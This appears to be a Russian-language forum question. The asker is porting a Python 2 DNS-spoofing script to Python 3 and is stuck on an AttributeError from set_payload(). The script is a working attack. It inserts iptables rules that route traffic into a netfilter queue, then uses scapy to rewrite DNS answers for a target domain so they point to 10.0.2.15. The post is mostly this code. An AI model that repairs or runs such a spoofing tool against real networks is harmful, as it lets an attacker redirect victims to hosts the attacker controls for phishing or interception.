Я пытаюсь преобразовать некоторую форму кода python2 в 3, но не могу найти подходящую замену метода для set_payload ().
import netfilterqueue
import subprocess
import os
import scapy.all as scapy
os.system('sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0')
os.system('sudo iptables -I INPUT -j NFQUEUE --queue-num 0')
def process_pkt(packet):
target_url= 'www.example.com'
scapy_packet = scapy.IP(packet.get_payload())
# print(scapy_packet.show())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if target_url in str(qname):
print('[+] Spoofing target')
answer = scapy.DNSRR(rrname= qname, rdata= '10.0.2.15')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
##########################################################
packet.set_payload(scapy_packet)########## This causes error
##########################################################
packet.accept()
queue = netfilterqueue.NetfilterQueue()
try:
# subprocess.call(['sudo', 'iptables', '-I', 'FORWARD','-j','NFQUEUE','--queue-num' ,'0'])
print('[*]sudo iptables -I FORWARD -j NFQUEUE --queue-num 0')
queue.bind(0, process_pkt)
queue.run()
except KeyboardInterrupt:
print('\n[*]Flushing the iptables')
subprocess.call(['sudo','iptables','--flush'])
Здесь проблема в том, что get_payload () работает, но set_payload () дает «AttributeError:« netfilterqueue.Packet »объект не имеет атрибута« set_payload »»